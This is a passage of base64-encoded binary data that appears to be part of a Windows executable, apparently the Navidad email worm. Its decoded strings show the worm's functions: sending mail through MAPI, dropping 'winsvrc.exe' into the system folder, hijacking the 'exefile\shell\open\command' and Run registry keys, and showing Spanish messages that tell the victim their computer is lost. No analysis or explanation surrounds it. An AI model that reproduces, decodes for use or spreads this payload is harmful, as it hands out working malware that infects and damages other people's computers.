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 R0p1+otEJAhfw4tEJATD/yWEUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAADCWAAA0FgAAORYAAD0WAAABlkAAAAAAACIVgAAtFYAAMpWAADWVgAA mFYAAKhWAAAEVwAAEFcAABxXAAB2VgAAZlYAAFRWAADuVgAA4lYAAEhWAABsWQAAWlkAAExbAAA8 WwAALFsAABZbAAAKWwAAAFsAAPRaAADmWgAA1loAAMpaAAC+WgAAsloAAKRaAACWWgAAiFoAAHpa AABeWwAAflkAAD5aAAAmWgAAWFoAAPZZAADcWQAAEFoAAEZZAABqWgAAwFkAAJhZAACMWQAArFkA AAAAAAAmWQAAAAAAADhXAABGVwAAqlgAAFJXAABmVwAAmFgAAIZYAABsWAAAXlgAAExYAAA+WAAA LlgAACJYAAAWWAAABlgAAPRXAADkVwAA1lcAAMJXAAC0VwAAoFcAAJJXAAB6VwAAAAAAAP////91 HEAAiRxAAHJ1bnRpbWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAA AABET01BSU4gZXJyb3INCgAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAA AFI2MDI3DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAA UjYwMjYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABS NjAyNQ0KLSBwdXJlIHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3Vn aCBzcGFjZSBmb3IgX29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8g b3BlbiBjb25zb2xlIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0K AAAAAFI2MDE3DQotIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2 DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFt IHRlcm1pbmF0aW9uDQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJvbm1l bnQNCgBSNjAwOA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2MDAyDQot IGZsb2F0aW5nIHBvaW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50 aW1lIExpYnJhcnkAAAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAAuLi4APHByb2dy YW0gbmFtZSB1bmtub3duPgAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVz c2FnZUJveEEAdXNlcjMyLmRsbAAAAAAAAAAAAAD/////5UBAAOlAQAD/////mUFAAJ1BQAD///// HUNAACFDQAAgVQAAAAAAAAAAAAAqVwAAGFAAAOhVAAAAAAAAAAAAALZYAADgUAAACFUAAAAAAAAA AAAAGFkAAABQAADgVQAAAAAAAAAAAAA6WQAA2FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwlgAANBY AADkWAAA9FgAAAZZAAAAAAAAiFYAALRWAADKVgAA1lYAAJhWAACoVgAABFcAABBXAAAcVwAAdlYA AGZWAABUVgAA7lYAAOJWAABIVgAAbFkAAFpZAABMWwAAPFsAACxbAAAWWwAAClsAAABbAAD0WgAA 5loAANZaAADKWgAAvloAALJaAACkWgAAlloAAIhaAAB6WgAAXlsAAH5ZAAA+WgAAJloAAFhaAAD2 WQAA3FkAABBaAABGWQAAaloAAMBZAACYWQAAjFkAAKxZAAAAAAAAJlkAAAAAAAA4VwAARlcAAKpY AABSVwAAZlcAAJhYAACGWAAAbFgAAF5YAABMWAAAPlgAAC5YAAAiWAAAFlgAAAZYAAD0VwAA5FcA ANZXAADCVwAAtFcAAKBXAACSVwAAelcAAAAAAAApA2xzdHJjbXBBAABdAUdldFByb2ZpbGVJbnRB AACPAUdldFZlcnNpb25FeEEAUwFHZXRQcm9jQWRkcmVzcwAA3wFMb2FkTGlicmFyeUEAAI8CU2V0 RXJyb3JNb2RlAAAvA2xzdHJjcHlBAAA4AUdldE1vZHVsZUZpbGVOYW1lQQAANQNsc3RybGVuQQAA MgNsc3RyY3B5bkEAJgNsc3RyY2F0QQAAcAFHZXRTeXN0ZW1EaXJlY3RvcnlBACsAQ29weUZpbGVB ACwDbHN0cmNtcGlBAIwARXhpdFByb2Nlc3MAS0VSTkVMMzIuZGxsAACMAERlc3Ryb3lJY29uAJ4B TG9hZEljb25BAJUARGlzcGF0Y2hNZXNzYWdlQQAAggJUcmFuc2xhdGVNZXNzYWdlAAB/AlRyYW5z bGF0ZUFjY2VsZXJhdG9yQQAqAUdldE1lc3NhZ2VBAJYBTG9hZEFjY2VsZXJhdG9yc0EAqwFMb2Fk U3RyaW5nQQDzAVJlZ2lzdGVyQ2xhc3NFeEEAAJoBTG9hZEN1cnNvckEAkQJVcGRhdGVXaW5kb3cA AFkAQ3JlYXRlV2luZG93RXhBAI4ARGVzdHJveVdpbmRvdwC7AEVuZFBhaW50AACvAERyYXdUZXh0 QQDwAEdldENsaWVudFJlY3QADABCZWdpblBhaW50AACEAERlZldpbmRvd1Byb2NBAAC+AU1lc3Nh Z2VCb3hBAAACUmVnaXN0ZXJXaW5kb3dNZXNzYWdlQQAA4AFQb3N0UXVpdE1lc3NhZ2UAkwBEaWFs b2dCb3hQYXJhbUEAuQBFbmREaWFsb2cAVVNFUjMyLmRsbAAAWwFSZWdDbG9zZUtleQB7AVJlZ1F1 ZXJ5VmFsdWVFeEEAAHIBUmVnT3BlbktleUV4QQCGAVJlZ1NldFZhbHVlRXhBAABfAVJlZ0NyZWF0 ZUtleUV4QQBBRFZBUEkzMi5kbGwAAHkAU2hlbGxfTm90aWZ5SWNvbkEAU0hFTEwzMi5kbGwAOgFH ZXRNb2R1bGVIYW5kbGVBAABmAUdldFN0YXJ0dXBJbmZvQQDaAEdldENvbW1hbmRMaW5lQQCOAUdl dFZlcnNpb24AALQBSGVhcEFsbG9jAMsCVGVybWluYXRlUHJvY2VzcwAACQFHZXRDdXJyZW50UHJv Y2VzcwDbAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAwQBGcmVlRW52aXJvbm1lbnRTdHJpbmdz QQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAEDV2lkZUNoYXJUb011bHRpQnl0ZQAZAUdldEVu dmlyb25tZW50U3RyaW5ncwAbAUdldEVudmlyb25tZW50U3RyaW5nc1cAAJgCU2V0SGFuZGxlQ291 bnQAAGgBR2V0U3RkSGFuZGxlAAAoAUdldEZpbGVUeXBlALgBSGVhcERlc3Ryb3kAtgFIZWFwQ3Jl YXRlAADxAlZpcnR1YWxGcmVlALoBSGVhcEZyZWUAAFcCUnRsVW53aW5kAA4DV3JpdGVGaWxlAO4C VmlydHVhbEFsbG9jAAC9AUhlYXBSZUFsbG9jAM8AR2V0Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9F TUNQAAACAk11bHRpQnl0ZVRvV2lkZUNoYXIA3AFMQ01hcFN0cmluZ0EAAN0BTENNYXBTdHJpbmdX AABpAUdldFN0cmluZ1R5cGVBAABsAUdldFN0cmluZ1R5cGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAFjZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MQAAAFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzIE1lc3NhZ2luZyBTdWJzeXN0ZW0AAE1haWwA AAAATUFQSQAAAABNQVBJUmVzb2x2ZU5hbWUATUFQSURldGFpbHMATUFQSUFkZHJlc3MATUFQSUZy ZWVCdWZmZXIAAE1BUElEZWxldGVNYWlsAABNQVBJU2F2ZU1haWwAAAAATUFQSVJlYWRNYWlsAAAA AE1BUElGaW5kTmV4dAAAAABNQVBJU2VuZERvY3VtZW50cwAAAE1BUElTZW5kTWFpbAAAAABNQVBJ TG9nb2ZmAABNQVBJTG9nb24AAABNQVBJMzIuRExMAABOYXZpZGFkLmV4ZQBUZSBlc3RhbW9zIG1p cmFuZG8uLgAAAAAgIiUxIiAlKgAAAABcd2luc3ZyYy5leGUAAAAAZXhlZmlsZVxzaGVsbFxvcGVu XGNvbW1hbmQAAFdpbjMyQmFzZVNlcnZpY2VNT0QAU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3Nc Q3VycmVudFZlcnNpb25cUnVuAAAAXHdpbnN2cmMudnhkAAAAAExvIGVzdGFtb3MgbWlyYW5kby4u LgAAAFVJAABubwAARHVsY2U/AABTT0ZUV0FSRVxOYXZpZGFkAAAAAHRjbGljawAAVGFza2JhckNy ZWF0ZWQAAGJ1ZW5hIGVsZWNjaW9uLi4uAAAATGFtZW50YWJsZW1lbnRlIGNheW8gZW4gbGEgdGVu dGFjaW9uIHkgcGVyZGlvIHN1IGNvbXB1dGFkb3JhAAAAAEZlbGl6IE5hdmlkYWQAAACPHUAAAgAA AAAAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADABAAAAAAAAACNAADACAAAAAAAAACOAADA CAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACRAADACAAAAAAAAACSAADACAAAAAAAAACT AADACAAAAAAAAAADAAAABwAAAAoAAACMAAAA/////wAKAAAQAAAAIAWTGQAAAAAAAAAAAAAAAAAA AAACAAAAsFNAAAgAAACEU0AACQAAAFhTQAAKAAAANFNAABAAAAAIU0AAEQAAANhSQAASAAAAtFJA ABMAAACIUkAAGAAAAFBSQAAZAAAAKFJAABoAAADwUUAAGwAAALhRQAAcAAAAkFFAAHgAAACAUUAA eQAAAHBRQAB6AAAAYFFAAPwAAABcUUAA/wAAAExRQAD4AwAAAAAAAAECBAgAAAAApAMAAGCCeYIh AAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAA AAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAA AAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4A AAAA6mRAAOpkQAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACE AIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgAC AAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 